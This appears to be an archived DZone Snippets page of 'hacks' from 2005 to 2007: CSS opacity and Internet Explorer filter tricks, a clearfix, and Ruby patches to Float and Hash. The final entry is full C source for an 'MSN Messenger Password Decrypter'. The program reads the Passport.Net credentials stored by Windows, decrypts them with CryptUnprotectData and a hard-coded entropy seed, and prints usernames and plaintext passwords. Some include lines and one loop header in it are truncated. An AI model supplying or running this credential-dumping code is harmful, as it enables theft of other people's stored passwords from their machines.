DZone Snippets: hacks code

CSS Hacks for opacity

Adios (Adios , T.) — Sat, 05 May 2007 05:58:38 GMT

in Internet Explorer 4, Gecko-based browsers, and Safari.



#transparent {

    filter: alpha(opacity=50);

    -moz-opacity: 0.5;

    opacity: 0.5;

}

Float to_s hack for easy sprintf'ing

jake3030 (Jake Varghese) — Thu, 12 Apr 2007 20:50:55 GMT

Float Hacks:
1. to_s override.
I really hate using sprintf, mainly because i always have to go online
and look up the syntax. I figured i could make that a little easier.
Now you can print floats with different precision as easily as:

4.123456.to_s(1) # => "4.1"
4.123456.to_s(3) # => "4.12"
4.123456.to_s(3) # => "4.123"
4.123456.to_s(4) # => "4.1235" (Note the auto rounding from 4.123456)
4.123456.to_s # => "4.123456"



class Float

  alias_method :orig_to_s, :to_s

  def to_s(arg = nil)

    if arg.nil?

      orig_to_s

    else

      sprintf("%.#{arg}f", self)

    end

  end

end

I have packaged this and other useful hacks into a plugin at http://blog.djdossiers.com/articles/2007/03/31/new-rails-plugin-jakes-toolbox

Peace

--jake

Hash Referencing Hack for Ruby

jake3030 (Jake Varghese) — Thu, 12 Apr 2007 20:49:16 GMT

Hash Hacks:
1. Method Missing hack to allow easy referencing.
I can never remember whether the Hash i am playing with has symbols for keys or
strings. I also dont like typing the brackets (not all text editors have the
cool "close brace" feature). That's why i came up with this method missing hack.
Instead of explaining what it does, I'll just show you.

Example:
hsh = {"project"=>
{ "prototype_url"=>nil,
"designer_id"=>2,
"finished_at"=>nil, "phone_number"=>"512225555",
"website"=>"http://www.ggg.com",
"first_name"=>"test",
}
}
hsh.project
#=> {"prototype_url"=>nil, "designer_id"=>2, "finished_at"=>nil, "phone_number"=>"512225555", "website"=>"http://www.ggg.com", "first_name"=>"test"}

hsh.project.prototype_url #=> nil
hsh.project.designer_id #=> 2
hsh.project.first_name #=> test



class Hash    		

  def method_missing(method_id, *args, &block)

    method_name = method_id.to_s

    check = self.stringify_keys

    if check.keys.include?(method_name)

      check[method_name]

    else

      super

    end

  end

end

I have packaged this and other useful hacks into a plugin at http://blog.djdossiers.com/articles/2007/03/31/new-rails-plugin-jakes-toolbox

Peace

--jake

CSS filtering

jbjaaz () — Fri, 05 May 2006 02:14:20 GMT

I'm a big fan of keeping all css hacks out of the main stylsheet.

To target IE6, you must use a conditional comment

To target IE5, you can use a conditional comment or the following filters:

Just IE5



@media tty {

  i{content:"\";/*" "*/}}; @import 'ie5.css'; {;}/*";}

}/* */

Just IE5.5



@media tty {

  i{content:"\";/*" "*/}}@m; @import 'ie5-5.css'; /*";}

}/* */

Both IE5 and IE5.5 (this is my preferred method)



@media tty {

  i{content:"\";/*" "*/}} @import 'midpassbefore.css'; /*";}

}/* */

IE5 for the Mac does not have a conditional comment, so a css filter can be used



/*\*//*/

  @import "ie5mac.css";

/**/

A solution:
HTML

...

iehacks.css



/******* IE5/mac stylesheet ************/

/*\*//*/

  @import "ie5mac.css";

/**/

/******* IE5 Windows *******************/

@media tty {

  i{content:"\";/*" "*/}} @import 'midpassbefore.css'; /*";}

}/* */

sources:
http://tantek.com/CSS/Examples/ie50winbandpass.html
http://tantek.com/CSS/Examples/ie55winbandpass.html
http://www.stopdesign.com/examples/ie5mac-bpf/
http://tantek.com/CSS/Examples/midpass.html
http://www.dithered.com/css_filters/index.html

Clear Fix

chicken () — Thu, 23 Mar 2006 01:26:55 GMT

// Clears floats that do not automatically force the container's bottom edge down as the float is made taller.



/* Hacks/Misc */

.cf:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }

* html .cf {height: 1%;}

MSN Messenger Password Decrypter for Windows XP & 2003

mornlee (mornlee) — Thu, 22 Dec 2005 18:05:10 GMT

// MSN Messenger Password Decrypter for Windows XP & 2003



 /*

 *  MSN Messenger Password Decrypter for Windows XP & 2003

 *  (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)

 *      - Gregory R. Panakkal

 *        http://www.crapware.tk/

 *        http://www.infogreg.com/

 */



#include 

#include 

#include 



#pragma comment(lib, "Crypt32.lib")





//Following definitions taken from wincred.h

//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]



typedef struct _CREDENTIAL_ATTRIBUTEA {

    LPSTR Keyword;

    DWORD Flags;

    DWORD ValueSize;

    LPBYTE Value;

}

CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;



typedef struct _CREDENTIALA {

    DWORD Flags;

    DWORD Type;

    LPSTR TargetName;

    LPSTR Comment;

    FILETIME LastWritten;

    DWORD CredentialBlobSize;

    LPBYTE CredentialBlob;

    DWORD Persist;

    DWORD AttributeCount;

    PCREDENTIAL_ATTRIBUTEA Attributes;

    LPSTR TargetAlias;

    LPSTR UserName;

} CREDENTIALA,*PCREDENTIALA;



typedef CREDENTIALA CREDENTIAL;

typedef PCREDENTIALA PCREDENTIAL;



////////////////////////////////////////////////////////////////////



typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);

typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);

typedef VOID (WINAPI *typeCredFree)(PVOID);



typeCredEnumerateA pfCredEnumerateA;

typeCredReadA pfCredReadA;

typeCredFree pfCredFree;



////////////////////////////////////////////////////////////////////



void showBanner()

{

    printf("MSN Messenger Password Decrypter for Windows XP/2003\n");

    printf("   - Gregory R. Panakkal, http://www.infogreg.com \n\n");

}



////////////////////////////////////////////////////////////////////

int main()

{

    PCREDENTIAL *CredentialCollection = NULL;

    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;



    //used for filling up blobEntropy

    char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll

    short int EntropyData[37];

    short int tmp;



    HMODULE hDLL;

    DWORD Count, i;



    showBanner();



    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll

    if( hDLL = LoadLibrary("advapi32.dll") )

    {

        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");

        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");

        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");



        if( pfCredEnumerateA == NULL||

            pfCredReadA == NULL ||

            pfCredFree == NULL )

        {

            printf("error!\n");

            return -1;

        }

    }

    



    //Get an array of 'credential', satisfying the filter

    pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);





    if( Count ) //usually this value is only 1

    {



        //Calculate Entropy Data

        for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37

        {

            tmp = (short int)szEntropyStringSeed[i];

            tmp <<= 2;

            EntropyData[i] = tmp;

        }



        for(i=0; i        {

            blobEntropy.pbData = (BYTE *)&EntropyData;

            blobEntropy.cbData = 74; //sizeof(EntropyData)



            blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;

            blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;



            CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);

            

            printf("Username : %s\n", CredentialCollection[i]->UserName);

            printf("Password : %ls\n\n", blobPlainText.pbData);

        }

    }



    pfCredFree(CredentialCollection);

}